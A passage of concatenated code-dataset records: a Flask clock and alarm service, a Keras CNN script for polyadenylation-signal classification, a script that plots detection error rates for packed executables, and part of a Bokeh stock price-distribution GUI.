response\n\n\n@app.route(\"/action_success_response\", methods=['POST'])\ndef action_success_response():\n response_template = environment.from_string(\"\"\"\n {\n \"status\": \"success\",\n \"data\": {\n \"version\": \"1.1\"\n }\n }\n \"\"\")\n payload = response_template.render()\n response = app.response_class(response=payload,\n status=200,\n mimetype='application/json')\n return response\n\n\n@app.route(\"/set_time\", methods=['POST'])\ndef set_time():\n payload = request.get_json()\n hour_to_set = payload[\"context\"][\"facts\"][\"hour_to_set\"][\"value\"]\n minute_to_set = payload[\"context\"][\"facts\"][\"minute_to_set\"][\"value\"]\n CLOCK[\"current_time\"][\"time_hour\"] = hour_to_set\n CLOCK[\"current_time\"][\"time_minute\"] = minute_to_set\n print(CLOCK)\n with open('time/clock.json', \"w\") as json_file:\n json.dump(CLOCK, json_file)\n return action_success_response()\n\n\n@app.route(\"/set_alarm\", methods=['POST'])\ndef set_alarm():\n payload = request.get_json()\n selected_alarm_time = payload[\"context\"][\"facts\"][\"selected_alarm_time\"][\"value\"]\n if selected_alarm_time == \"eight\":\n CLOCK[\"current_alarm\"][\"alarm_hour\"] = 8\n CLOCK[\"current_alarm\"][\"alarm_minute\"] = 0\n CLOCK[\"current_alarm\"][\"alarm_on\"] = True\n elif selected_alarm_time == \"eight_thirty\":\n CLOCK[\"current_alarm\"][\"alarm_hour\"] = 8\n CLOCK[\"current_alarm\"][\"alarm_minute\"] = 30\n CLOCK[\"current_alarm\"][\"alarm_on\"] = True\n elif selected_alarm_time == \"nine\":\n CLOCK[\"current_alarm\"][\"alarm_hour\"] = 9\n CLOCK[\"current_alarm\"][\"alarm_minute\"] = 0\n CLOCK[\"current_alarm\"][\"alarm_on\"] = True\n elif selected_alarm_time == \"off\":\n CLOCK[\"current_alarm\"][\"alarm_hour\"] = 0\n CLOCK[\"current_alarm\"][\"alarm_minute\"] = 0\n CLOCK[\"current_alarm\"][\"alarm_on\"] = False\n with open('time/clock.json', \"w\") as json_file:\n json.dump(CLOCK, json_file)\n return action_success_response()\n\n\n@app.route(\"/current_time\", methods=['POST'])\ndef current_time():\n time_hour = CLOCK[\"current_time\"][\"time_hour\"]\n time_minute = CLOCK[\"current_time\"][\"time_minute\"]\n time = f'{time_hour}:{time_minute}'\n return query_response(value=time, grammar_entry=None)\n\n\n@app.route(\"/current_alarm\", methods=['POST'])\ndef current_alarm():\n if CLOCK[\"current_alarm\"][\"alarm_on\"] is False:\n alarm_time = \"alarm_off\"\n return query_response(value=alarm_time, grammar_entry=None)\n else:\n alarm_time = f\"{CLOCK['current_alarm']['alarm_hour']}:{CLOCK['current_alarm']['alarm_minute']}\"\n if alarm_time == \"8:00\":\n alarm = \"eight\"\n elif alarm_time == \"8:30\":\n alarm = \"eight_thirty\"\n elif alarm_time == \"9:00\":\n alarm = \"nine\"\n else:\n alarm = \"alarm_off\"\n return query_response(value=alarm, grammar_entry=None)\n\n\n@app.route(\"/selected_alarm_time\", methods=['POST'])\ndef selected_alarm_time():\n options = [{\n \"value\": \"eight\",\n \"confidence\": 1.0,\n \"grammar_entry\": None\n }, {\n \"value\": \"eight_thirty\",\n \"confidence\": 1.0,\n \"grammar_entry\": None\n }, {\n \"value\": \"nine\",\n \"confidence\": 1.0,\n \"grammar_entry\": None\n }]\n return multiple_query_response(options)","sub_path":"lab2/time_ddd/time_ddd/time_ddd/http_service.py","file_name":"http_service.py","file_ext":"py","file_size_in_byte":6408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"421468560","text":"import matplotlib as mpl\nmpl.use('Agg')\n\nfrom Models import *\nfrom sklearn.metrics import confusion_matrix,recall_score,matthews_corrcoef,roc_curve,roc_auc_score\nimport matplotlib.pyplot as plt\nimport os, sys, copy, getopt, re, argparse\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint,ReduceLROnPlateau\n\nimport random\nimport pandas as pd \nimport numpy as np\n\ndef dataProcessing(path):\n\n data = pd.read_csv(path);\n alphabet = np.array(['A', 'G', 'T', 'C'])\n X = [];\n for line in data['data']:\n\n line = line.upper();\n line = list(line.strip('\\n'));\n #scoreSequence = calculate(line);\n \n seq = np.array(line, dtype = '|U1').reshape(-1,1);\n seq_data = []\n\n for i in range(len(seq)):\n if seq[i] == 'A':\n seq_data.append([1,0,0,0])\n #seq_data.append(0)\n if seq[i] == 'T':\n seq_data.append([0,1,0,0])\n #seq_data.append(1)\n if seq[i] == 'C':\n seq_data.append([0,0,1,0])\n #seq_data.append(2)\n if seq[i] == 'G':\n seq_data.append([0,0,0,1])\n #seq_data.append(3)\n\n X.append(np.array(seq_data));\n \n X = np.array(X);\n y = np.array(data['label'], dtype = np.int32);\n #X.reshape((-1, 206))\n #print(X.shape)\n \n return X, y; #(n, 206, 4), (n,)\n\ndef prepareData(PositiveCSV, NegativeCSV):\n\n Positive_X, Positive_y = dataProcessing(PositiveCSV);\n Negitive_X, Negitive_y = dataProcessing(NegativeCSV);\n\n return Positive_X, Positive_y, Negitive_X, Negitive_y\n\ndef chunkIt(seq, num):\n avg = len(seq) / float(num)\n out = []\n last = 0.0\n\n while last < len(seq):\n out.append(seq[int(last):int(last + avg)])\n last += avg\n\n return out\n\ndef calculate(sequence):\n\n X = []\n dictNum = {'A' : 0, 'T' : 0, 'C' : 0, 'G' : 0};\n\n for i in range(len(sequence)):\n\n if sequence[i] in dictNum.keys():\n dictNum[sequence[i]] += 1;\n X.append(dictNum[sequence[i]] / float(i + 1));\n\n return np.array(X)\n\ndef shuffleData(X, y):\n index = [i for i in range(len(X))]\n random.shuffle(index)\n X = X[index]\n y = y[index]\n return X, y;\n\ndef leaveOneOut(PositiveDir, NegativeDir, OutputDir):\n\n #motifList = [\"AATAAA\", \"ATTAAA\", \"AAGAAA\", \"AAAAAG\", \"AATACA\", \"TATAAA\", \"ACTAAA\", \"AGTAAA\", \"GATAAA\" ,\"AATATA\", \"CATAAA\", \"AATAGA\"]\n motifList = [\"AATAAA\", \"ATTAAA\", \"TTTAAA\", \"TATAAA\", \"AGTAAA\", \"CATAAA\", \"AATATA\", \"AATACA\", \"GATAAA\", \"AAGAAA\", \"AATGAA\", \"ACTAAA\", \"AATAGA\"]\n\n Handle = open(OutputDir + \"/LEVAOperfromance.txt\", \"w\")\n\n for testIndex in range(len(motifList)):\n\n test_PositiveCSV = PositiveDir + \"/pos\" + motifList[testIndex] + \".txt\";\n test_NegativeCSV = NegativeDir + \"/neg\" + motifList[testIndex] + \".txt\";\n\n test_Positive_X, test_Positive_y, test_Negitive_X, test_Negitive_y = prepareData(test_PositiveCSV, test_NegativeCSV)\n\n random.shuffle(test_Positive_X);\n random.shuffle(test_Negitive_X);\n\n test_X = np.concatenate((test_Positive_X, test_Negitive_X));\n test_y = np.concatenate((test_Positive_y, test_Negitive_y));\n\n train_X = None;\n train_y = None;\n\n valid_X = None;\n valid_y = None;\n\n head = True;\n\n for trainIndex in range(len(motifList)):\n\n if trainIndex != testIndex:\n\n train_PositiveCSV = PositiveDir + \"/pos\" + motifList[trainIndex] + \".txt\";\n train_NegativeCSV = NegativeDir + \"/neg\" + motifList[trainIndex] + \".txt\";\n\n train_Positive_X, train_Positive_y, train_Negitive_X, train_Negitive_y = prepareData(train_PositiveCSV, train_NegativeCSV)\n \n random.shuffle(train_Positive_X);\n random.shuffle(train_Negitive_X);\n\n train_Pos_X_list = chunkIt(train_Positive_X, 10);\n train_Neg_X_list = chunkIt(train_Negitive_X, 10);\n\n train_Pos_y_list = chunkIt(train_Positive_y, 10);\n train_Neg_y_list = chunkIt(train_Negitive_y, 10);\n\n\n if head == True:\n train_X = np.concatenate((train_Pos_X_list[0], train_Neg_X_list[0]))\n train_y = np.concatenate((train_Pos_y_list[0], train_Neg_y_list[0]))\n valid_X = np.concatenate((train_Pos_X_list[9], train_Neg_X_list[9]))\n valid_y = np.concatenate((train_Pos_y_list[9], train_Neg_y_list[9]))\n else:\n train_X = np.concatenate((train_X, np.concatenate((train_Pos_X_list[0], train_Neg_X_list[0]))))\n train_y = np.concatenate((train_y, np.concatenate((train_Pos_y_list[0], train_Neg_y_list[0]))))\n valid_X = np.concatenate((valid_X, np.concatenate((train_Pos_X_list[9], train_Neg_X_list[9]))))\n valid_y = np.concatenate((valid_y, np.concatenate((train_Pos_y_list[9], train_Neg_y_list[9]))))\n\n for i in range(1, 9):\n\n train_X = np.concatenate((train_X, np.concatenate((train_Pos_X_list[i], train_Neg_X_list[i]))))\n train_y = np.concatenate((train_y, np.concatenate((train_Pos_y_list[i], train_Neg_y_list[i]))))\n\n head = False;\n\n valid_X,valid_y = shuffleData(valid_X,valid_y);\n train_X,train_y = shuffleData(train_X,train_y);\n test_X,test_y = shuffleData(test_X,test_y);\n\n model = CNNModel();\n\n early_stopping = EarlyStopping(monitor='val_loss', patience= 40)\n model_check = ModelCheckpoint(filepath = OutputDir + \"/model \" + motifList[testIndex] +\".h5\", monitor = 'val_binary_accuracy', save_best_only=True)\n reduct_L_rate = ReduceLROnPlateau(monitor='val_loss',factor = 0.5, patience = 25)\n\n history = model.fit(train_X, train_y, batch_size = 64, epochs = 500, validation_data = (valid_X, valid_y),callbacks = [model_check, early_stopping,reduct_L_rate], verbose = 0);\n\n score = model.evaluate(test_X,test_y)\n\n Handle.write('motif test : ' + motifList[testIndex] + '\\n')\n Handle.write('test shape ' + str(test_X.shape) + ' ' + str(test_y.shape) + '\\n' )\n Handle.write('train shape ' + str(train_X.shape) + ' ' + str(train_y.shape) + '\\n' )\n Handle.write('valid shape ' + str(valid_X.shape) + ' ' + str(valid_y.shape) + '\\n' )\n Handle.write('accuracy : ' + str( 1 - score[1]) + '\\n____________________________\\n\\n');\n\n Handle.close();\n\n# def funciton(PositiveDir, NegativeDir, OutputDir):\n\n# motifList = [\"AATAAA\", \"ATTAAA\", \"AAGAAA\", \"AAAAAG\", \"AATACA\", \"TATAAA\", \"ACTAAA\", \"AGTAAA\", \"GATAAA\" ,\"AATATA\", \"CATAAA\", \"AATAGA\"]\n\n# #motifList = [\"AATAAA\", \"ATTAAA\", \"TTTAAA\", \"TATAAA\", \"AGTAAA\", \"CATAAA\", \"AATATA\", \"AATACA\", \"GATAAA\", \"AAGAAA\", \"AATGAA\", \"ACTAAA\", \"AATAGA\"]\n\n# Positive_X_Slices_Motif_List = {}\n# Positive_y_Slices_Motif_List = {}\n# Negative_X_Slices_Motif_List = {}\n# Negative_y_Slices_Motif_List = {}\n\n# for i in range(len(motifList)):\n\n# #PositiveCSV = PositiveDir + \"/pos\" + motifList[i] + \".txt\";\n# #NegativeCSV = NegativeDir + \"/neg\" + motifList[i] + \".txt\";\n\n# PositiveCSV = PositiveDir + \"/\" + motifList[i] + \".txt\";\n# NegativeCSV = NegativeDir + \"/\" + motifList[i] + \".txt\";\n\n# Positive_X, Positive_y, Negitive_X, Negitive_y = prepareData(PositiveCSV, NegativeCSV)\n\n# random.shuffle(Positive_X);\n# random.shuffle(Negitive_X);\n\n# Positive_X_Slices_Motif_List[motifList[i]] = chunkIt(Positive_X, 5);\n# Positive_y_Slices_Motif_List[motifList[i]] = chunkIt(Positive_y, 5);\n\n# Negative_X_Slices_Motif_List[motifList[i]] = chunkIt(Negitive_X, 5);\n# Negative_y_Slices_Motif_List[motifList[i]] = chunkIt(Negitive_y, 5);\n\n# sensitivity_motif_list = []\n# specificity_motif_list = []\n# accuracy_motif_list = [];\n# MCC_motif_list = []\n# ROCArea_motif_list = []\n\n# for test_index in range(5):\n\n# test_X_Motif_List = []\n# test_y_Motif_List = []\n# valid_X_Motif_List = []\n# valid_y_Motif_List = []\n# train_X_Motif_List = []\n# train_y_Motif_List = []\n# validation_index = (test_index+1) % 5;\n\n# start = 0;\n# for val in range(0, 5):\n# if val != test_index and val != validation_index:\n# start = val;\n# break;\n\n# for motifIndex in range(len(motifList)):\n\n# test_X_Motif_List.append([motifList[motifIndex],np.concatenate((Positive_X_Slices_Motif_List[motifList[motifIndex]][test_index],Negative_X_Slices_Motif_List[motifList[motifIndex]][test_index]))]);\n# test_y_Motif_List.append([motifList[motifIndex],np.concatenate((Positive_y_Slices_Motif_List[motifList[motifIndex]][test_index],Negative_y_Slices_Motif_List[motifList[motifIndex]][test_index]))]);\n\n# valid_X_Motif_List.append(np.concatenate((Positive_X_Slices_Motif_List[motifList[motifIndex]][validation_index],Negative_X_Slices_Motif_List[motifList[motifIndex]][validation_index]))) \n# valid_y_Motif_List.append(np.concatenate((Positive_y_Slices_Motif_List[motifList[motifIndex]][validation_index],Negative_y_Slices_Motif_List[motifList[motifIndex]][validation_index]))) \n\n# train_X_temp = (np.concatenate((Positive_X_Slices_Motif_List[motifList[motifIndex]][start],Negative_X_Slices_Motif_List[motifList[motifIndex]][start])))\n# train_y_temp = (np.concatenate((Positive_y_Slices_Motif_List[motifList[motifIndex]][start],Negative_y_Slices_Motif_List[motifList[motifIndex]][start])))\n\n# for i in range(0, 5):\n# if i != test_index and i != validation_index and i != start:\n# tempX = np.concatenate((Positive_X_Slices_Motif_List[motifList[motifIndex]][i],Negative_X_Slices_Motif_List[motifList[motifIndex]][i]))\n# tempy = np.concatenate((Positive_y_Slices_Motif_List[motifList[motifIndex]][i],Negative_y_Slices_Motif_List[motifList[motifIndex]][i]))\n\n# train_X_temp = np.concatenate((train_X_temp, tempX))\n# train_y_temp = np.concatenate((train_y_temp, tempy))\n\n# train_X_Motif_List.append(train_X_temp)\n# train_y_Motif_List.append(train_y_temp)\n\n# train_X = train_X_Motif_List[0];\n# train_y = train_y_Motif_List[0];\n\n# valid_X = valid_X_Motif_List[0];\n# valid_y = valid_y_Motif_List[0];\n\n# for i in range(1, len(motifList)):\n\n# train_X = np.concatenate((train_X, train_X_Motif_List[i]));\n# train_y = np.concatenate((train_y, train_y_Motif_List[i]));\n\n# valid_X = np.concatenate((valid_X, valid_X_Motif_List[i]));\n# valid_y = np.concatenate((valid_y, valid_y_Motif_List[i]));\n\n\n# valid_X,valid_y = shuffleData(valid_X,valid_y);\n# train_X,train_y = shuffleData(train_X,train_y);\n\n# model = CNNModel();\n\n# early_stopping = EarlyStopping(monitor='val_loss', patience= 40)\n# model_check = ModelCheckpoint(filepath = OutputDir + \"/model\" + str(test_index) +\".h5\", monitor = 'val_binary_accuracy', save_best_only=True)\n# reduct_L_rate = ReduceLROnPlateau(monitor='val_loss',factor = 0.5, patience = 25)\n\n# history = model.fit(train_X, train_y, batch_size = 64, epochs = 500, validation_data = (valid_X, valid_y),callbacks = [model_check, early_stopping,reduct_L_rate], verbose = 1);\n\n# for i in range(len(motifList)):\n# test_12_motif(test_X_Motif_List[i][1], test_y_Motif_List[i][1], model, test_X_Motif_List[i][0], test_index,sensitivity_motif_list,specificity_motif_list,accuracy_motif_list,MCC_motif_list,ROCArea_motif_list,OutputDir);\n\n# Handle = open(OutputDir + \"/perfromance.txt\", \"w\")\n# Handle.write(\"-------accuracy\\n\")\n# Handle.write(str(accuracy_motif_list))\n# Handle.write(\"\\n\")\n# Handle.write(\"-------sensitivity\\n\")\n# Handle.write(str(sensitivity_motif_list))\n# Handle.write(\"\\n\")\n# Handle.write(\"-------specificity\\n\")\n# Handle.write(str(specificity_motif_list))\n# Handle.write(\"\\n\")\n# Handle.write(\"-------MCC\\n\")\n# Handle.write(str(MCC_motif_list))\n# Handle.write(\"\\n\")\n# Handle.write(\"-------ROCArea\\n\")\n# Handle.write(str(ROCArea_motif_list))\n# Handle.write(\"\\n\")\n# Handle.close()\n\n# def test_12_motif(test_X, test_y, model, motifString, test_index,sensitivity_motif_list,specificity_motif_list,accuracy_motif_list,MCC_motif_list,ROCArea_motif_list, OutputDir):\n\n# score = model.evaluate(test_X,test_y)\n# pred_y = model.predict(test_X)\n# accuracy_motif_list.append([motifString, test_index, 1 - score[1]])\n# tempLabel = np.zeros(shape = test_y.shape, dtype=np.int32)\n\n# for i in range(len(test_y)):\n# if pred_y[i] < 0.5:\n# tempLabel[i] = 0;\n# else:\n# tempLabel[i] = 1;\n\n# confusion = confusion_matrix(test_y, tempLabel)\n\n# TP = confusion[1, 1]\n# TN = confusion[0, 0]\n# FP = confusion[0, 1]\n# FN = confusion[1, 0]\n\n# sensitivity_motif_list.append([motifString, test_index, recall_score(test_y, tempLabel)])\n# specificity_motif_list.append([motifString, test_index, TN / float(TN+FP)])\n# MCC_motif_list.append([motifString, test_index, matthews_corrcoef(test_y, tempLabel)])\n\n# fpr, tpr, thresholds = roc_curve(test_y, pred_y)\n# plt.plot(fpr, tpr)\n# plt.xlim([0.0, 1.0])\n# plt.ylim([0.0, 1.0])\n# plt.title('ROC curve motif :' + motifString)\n# plt.xlabel('1 - Specificity')\n# plt.ylabel('Sensitivity')\n# plt.grid(True)\n# plt.savefig(OutputDir + \"/ROC_\" + motifString + \"_\" + str(test_index) +\".png\")\n# plt.close()\n\n# ROCArea_motif_list.append([motifString, test_index, roc_auc_score(test_y, pred_y)])\n\ndef main():\n\n parser = argparse.ArgumentParser(description=\"deep learning PAS analysis\")\n parser.add_argument(\"--output\", type=str, help=\"output folder\", required=True)\n parser.add_argument(\"--positive\", type=str, help=\"positive data dir\", required=True)\n parser.add_argument(\"--negative\", type=str, help=\"negative data dir\", required=True)\n args = parser.parse_args()\n\n PositiveDir = os.path.abspath(args.positive)\n NegativeDir = os.path.abspath(args.negative)\n OutputDir = os.path.abspath(args.output)\n\n if not os.path.exists(OutputDir):\n print(\"The OutputDir not exist! Error\\n\")\n sys.exit()\n if not os.path.exists(PositiveDir) or not os.path.exists(NegativeDir):\n print(\"The csv data not exist! Error\\n\")\n sys.exit()\n\n #funciton(PositiveDir, NegativeDir, OutputDir);\n leaveOneOut(PositiveDir, NegativeDir, OutputDir);\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"PAC.py","file_name":"PAC.py","file_ext":"py","file_size_in_byte":14808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"607006745","text":"import os\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\nimport pandas as pd\nimport sys\n\nMETRICS = ['fp_ratio_packed', 'fp_ratio_unpacked', 'fn_ratio_packed', 'fn_ratio_unpacked', 'fp_ratio', 'fn_ratio']\nMETRICS_SELECTED = ['fp_ratio', 'fp_ratio_packed', 'fn_ratio']\nMETRICS_LABELS = {'fp_ratio_packed': 'False Positive Rate for Packed Excutables', 'fp_ratio_unpacked': 'False Positive Rate for Unpacked Executables', 'fn_ratio_packed': 'False Negative Rate for Packed Executables', 'fn_ratio_unpacked': 'False Negative Rate for Unpacked Executables', 'fp_ratio': 'False Positive Rate', 'fn_ratio': 'False Negative Rate', 'error_rate': 'Error Rate', 'error_rate_packed': 'Error Rate for Packed Executables', 'error_rate_unpacked': 'Error Rate for Unpacked Executables', 'accuracy': 'Accuracy'}\nMETRICS_SHORT_LABELS = {'fp_ratio_packed': 'FP Rate (packed)', 'fp_ratio_unpacked': 'FP Rate (unpacked)', 'fn_ratio_packed': 'FN Rate (packed)', 'fn_ratio_unpacked': 'FN Rate (unpacked)', 'fp_ratio': 'FP Rate', 'fn_ratio': 'FN Rate', 'error_rate': 'Error Rate', 'error_rate_packed': 'Error Rate', 'error_rate_unpacked': 'Error Rate', 'accuracy': 'Accuracy'}\nMETRICS_COLORS = {'fp_ratio': 'crimson', 'fn_ratio': 'orange', 'fp_ratio_packed': 'black', 'fn_ratio_packed': 'gray'}\nMETRICS_LINE_STYLES = {'fp_ratio': '-', 'fn_ratio': '--', 'fp_ratio_packed': ':', 'fn_ratio_packed': '-.'}\n\nCSV_HEADERS = ['packed benign ratio %', 'packed malicious ratio %',\n '# training packed malicious', '# training unpacked malicious',\n '# training packed benign', '# training unpacked benign',\n '# testing packed malicious', '# testing unpacked malicious',\n '# testing packed benign', '# testing unpacked benign',\n 'false negative for packed', 'false negative for unpacked',\n 'true negative for packed', 'true negative for unpacked',\n 'false positive for packed', 'false positive for unpacked',\n 'true positive for packed', 'true positive for unpacked',\n 'false negative', 'true negative', 'false positive', 'true positive']\n\ndef ratio_plot_diffpackedbenign(filepath):\n plots_path = os.path.dirname(filepath)\n data = pd.read_csv(filepath)\n plt.figure(figsize=(10, 6), dpi=300)\n ax = plt.subplot(111)\n FONTSIZE = 36\n ax.tick_params(axis='both', labelsize=FONTSIZE)\n # ax.set_xlabel('Ratio of Packed Benign in the Training Set', fontsize=FONTSIZE)\n\n for metric in METRICS_SELECTED:\n x = data[CSV_HEADERS[0]]\n y = data[metric]\n y = [round(v * 100) for v in y]\n ax.plot(x, y, label=METRICS_SHORT_LABELS[metric], color=METRICS_COLORS[metric], linestyle=METRICS_LINE_STYLES[metric], linewidth=4)\n\n ax.grid(color='black', linestyle='dotted', linewidth=0.1)\n ax.set_ylim([0, 100])\n\n tick = mtick.FormatStrFormatter('%d%%')\n ax.xaxis.set_major_formatter(tick)\n ax.yaxis.set_major_formatter(tick)\n\n # ax.legend(loc=\"upper right\", fancybox=True, framealpha=0.5, fontsize=9)\n plt.savefig('{}/lab-diff-packed-benign-ratio-plot.pdf'.format(plots_path), bbox_inches='tight')\n plt.close()\n\nif __name__ == '__main__':\n if len(sys.argv) > 1:\n filepath = sys.argv[1]\n ratio_plot_diffpackedbenign(filepath)\n","sub_path":"code/results/plot_labdiffpackedbenign.py","file_name":"plot_labdiffpackedbenign.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"44427598","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 2 00:58:47 2018\nLast modified on 20181007 - added comments\n\n@author: Jing Ma\n\n bokeh serve E:\\Work\\PartTime\\DQ_project\\scripts\\Python\\RunGUI_no_dist.py\nat your command prompt. Then navigate to the URL\n http://localhost:5006/RunGUI_no_dist.py\nin your browser.\n\nThis version does not do any interpolation, but would plot\n1) the (price, probability) pair that you put in\n2) the crude distribution (manually made up)\n3) the market price_volume data\n\nNote that ***no distribution is assumed***, later interpolation might be needed for optimization\n\"\"\"\n\n\nimport numpy as np\n\nfrom bokeh.io import curdoc\nfrom bokeh.layouts import gridplot, widgetbox\nfrom bokeh.models import Range1d, LinearAxis, ColumnDataSource, PrintfTickFormatter, DatetimeTickFormatter, HoverTool, Div\nfrom bokeh.models.widgets import Slider, TextInput, Button\nfrom bokeh.plotting import figure\nfrom os.path import dirname, join\n\n\n\nfrom RunGUI_help import CanToFloat, QueryGUIData, InsertPXDistManual, InsertPxDistCrude, InsertPxDistConviction\nfrom config import RunGUI_config\ndata_config = RunGUI_config['data']\nplot_config = RunGUI_config['plot']\n\nticker = 'JNJ' #initialize\n\n# The descriptions\ndesc = Div(text=open(join(dirname(__file__), plot_config['description_html_file'])).read(), width=2*plot_config['width'])\n\n# Set up the px_series_fig\npx_series_results = QueryGUIData(data_config, ticker, 'px_series')\npx_series_df = px_series_results['df']\nvolume_unit_str = px_series_results['volume_unit_str']\npx_series_source = ColumnDataSource(data=dict(price=px_series_df['price'], volume=px_series_df['volume'], date=px_series_df['date']))\n\npx_series_hover = HoverTool(tooltips=[(\"date\", \"@date{%F}\"),(\"price\", \"$@{price}{%0.2f}\")]\n , formatters={'date':'datetime','price':'printf'})\nplot_options = dict(width=int(2.9*plot_config['width']), plot_height=plot_config['height'])\npx_series_fig = figure(**plot_options, x_axis_type=\"datetime\", title = \"Price Volume Time Series\", tools=[px_series_hover])\npx_series_fig.xaxis.formatter=DatetimeTickFormatter(days='%Y/%m/%d',\n months='%Y/%m/%d',\n hours='%Y/%m/%d',\n #hours='%Y/%m/%d %H:%M',\n minutes='%Y/%m/%d')\npx_series_fig.y_range = Range1d(start=0.95*px_series_df['price'].min(), end=1.05*px_series_df['price'].max())\npx_series_fig.extra_y_ranges = {\"volume\": Range1d(start=0, end=1.2*px_series_df['volume'].max())}\npx_series_fig.add_layout(LinearAxis(y_range_name='volume'), 'right')\npx_series_fig.yaxis[1].formatter = PrintfTickFormatter(format=\"%5.1f \" + volume_unit_str)\n\npx_series_fig.line('date', 'price', source=px_series_source, line_width=plot_config['line_width'], color='olivedrab', alpha=0.9)\npx_series_fig.vbar(bottom=0, top='volume', x='date', source=px_series_source, width=1.5, color='grey', alpha=0.5, y_range_name='volume')\n\n\n# Set up the px_dist_crude_fig\npx_dist_crude_df = QueryGUIData(data_config, ticker, 'px_dist_crude')\npx_dist_crude_source = ColumnDataSource(data=dict(price=px_dist_crude_df['price'], prob=px_dist_crude_df['prob']))\npx_dist_crude_hover = HoverTool(tooltips=[(\"price\", \"$@{price}{%0.2f}\"),(\"prob\", \"@{prob}{%0.2f}\")]\n , formatters={'price':'printf','prob':'printf'})\npx_dist_crude_fig = figure(plot_height=plot_config['height'], plot_width=plot_config['width'], title=\"Px Dist Plot - Crude\",tools=[px_dist_crude_hover])\npx_dist_crude_fig.line('price', 'prob', source=px_dist_crude_source, color='steelblue', line_width=plot_config['line_width'], line_alpha=0.9)\npx_dist_crude_fig.circle('price', 'prob', source=px_dist_crude_source, color='midnightblue', size=3, alpha=1)\n\n\n# Set up the px_dist_manual_fig\npx_dist_manual_df = QueryGUIData(data_config, ticker, 'px_dist_manual')\npx_dist_manual_source = ColumnDataSource(data=dict(price=px_dist_manual_df['price'], prob=px_dist_manual_df['prob']))\npx_dist_manual_hover = HoverTool(tooltips=[(\"price\", \"$@{price}{%0.2f}\"),(\"prob\", \"@{prob}{%0.2f}\")]\n , formatters={'price':'printf','prob':'printf'})\npx_dist_manual_fig = figure(plot_height=plot_config['height'], plot_width=plot_config['width'], title=\"Px Dist Plot\",tools=[px_dist_manual_hover])\npx_dist_manual_fig.line('price', 'prob', source=px_dist_manual_source, color='steelblue', line_width=plot_config['line_width'], line_alpha=0.9)\npx_dist_manual_fig.circle('price', 'prob', source=px_dist_manual_source, color='midnightblue', size=3, alpha=1)\n\n\n# Set up widgets\nticker_input_fig = TextInput(title='Current Ticker: JNJ. Input a new ticker: ', value='JNJ')\npx_dist_manual_input_fig = TextInput(title='Input the \"price prob\" pairs, separate by \";\"', value='e.g. 123.23 0.2')\npx_dist_manual_conviction_input_fig = TextInput(title='Input the conviction of the ticker (1-10)', value='e.g. 7')\npx_dist_crude_update_button = Button(label='Click to update px_dist_crude')\npx_dist_normalize_button = Button(label='Using raw. Click to normalize px dist')\n\n\n\"\"\"\noffset = Slider(title=\"offset\", value=0.0, start=-5.0, end=5.0, step=0.1)\namplitude = Slider(title=\"amplitude\", value=1.0, start=-5.0, end=5.0, step=0.1)\nphase = Slider(title=\"phase\", value=0.0, start=0.0, end=2*np.pi)\nfreq = Slider(title=\"frequency\", value=1.0, start=0.1, end=5.1, step=0.1)\n\"\"\"\n\n# Set up callbacks\ndef UpdateTickerOnChange(attrname, old, new):\n global ticker\n ticker = ticker_input_fig.value\n ticker_input_fig.title = 'Current Ticker: ' + ticker +'. Input a new ticker: '\n px_dist_manual_conviction_input_fig.title = 'Input the conviction of the ticker (1-10)'\n \n px_series_results = QueryGUIData(data_config, ticker, 'px_series')\n px_series_df = px_series_results['df']\n volume_unit_str = px_series_results['volume_unit_str']\n px_series_source.data = dict(price=px_series_df['price'], volume=px_series_df['volume'], date=px_series_df['date'])\n px_series_fig.y_range.start=0.95*px_series_df['price'].min()\n px_series_fig.y_range.end=1.05*px_series_df['price'].max()\n px_series_fig.extra_y_ranges['volume'].start = 0\n px_series_fig.extra_y_ranges['volume'].end = 1.2*px_series_df['volume'].max()\n px_series_fig.yaxis[1].formatter = PrintfTickFormatter(format=\"%5.1f \" + volume_unit_str)\n \n px_dist_crude_df = QueryGUIData(data_config, ticker, 'px_dist_crude')\n px_dist_crude_source.data = dict(price=px_dist_crude_df['price'], prob=px_dist_crude_df['prob'])\n \n px_dist_manual_df = QueryGUIData(data_config, ticker, 'px_dist_manual')\n px_dist_manual_source.data = dict(price=px_dist_manual_df['price'], prob=px_dist_manual_df['prob'])\n\n\ndef UpdatePxDistManualOnChange(attrname, old, new):\n px_dist_manual_input_fig.title = 'Value updated. Input additional \"price prob\" pairs, separate by \";\"'\n InsertPXDistManual(data_config, ticker, px_dist_manual_input_fig.value)\n \n px_dist_manual_df = QueryGUIData(data_config, ticker, 'px_dist_manual')\n px_dist_manual_source.data = dict(price=px_dist_manual_df['price'], prob=px_dist_manual_df['prob'])\n\n\ndef UpdatePxDistManualConvictionOnChange(attrname, old, new):\n px_dist_manual_conviction_input_fig.title = 'Updated. Input a new conviction of the ticker (1-10)'\n if CanToFloat(px_dist_manual_conviction_input_fig.value):\n InsertPxDistConviction(data_config, ticker, 'manual', px_dist_manual_conviction_input_fig.value)\n else:\n px_dist_manual_conviction_input_fig.title = 'Not Valid. Input a new conviction of the ticker (1-10)'\n\n\ndef UpdatePxDistCrudeOnChange():\n px_dist_crude_update_button.label = 'Updated. Click again to update px_dist_crude'\n InsertPxDistCrude(data_config, ticker)\n \n px_dist_crude_df = QueryGUIData(data_config, ticker, 'px_dist_crude')\n px_dist_crude_source.data = dict(price=px_dist_crude_df['price'], prob=px_dist_crude_df['prob'])\n\ndef NormalizePxDistOnChange():\n if px_dist_normalize_button.label == 'Using raw. Click to normalize px dist':\n px_dist_normalize_button.label = 'Normalized. Click again to use raw px dist'\n \n px_dist_crude_df = QueryGUIData(data_config, ticker, 'px_dist_crude', True)\n px_dist_crude_source.data = dict(price=px_dist_crude_df['price'], prob=px_dist_crude_df['prob'])\n \n px_dist_manual_df = QueryGUIData(data_config, ticker, 'px_dist_manual', True)\n px_dist_manual_source.data = dict(price=px_dist_manual_df['price'], prob=px_dist_manual_df['prob'])\n elif px_dist_normalize_button.label == 'Normalized. Click again to use raw px dist':\n px_dist_normalize_button.label = 'Using raw. Click to normalize px dist'\n \n 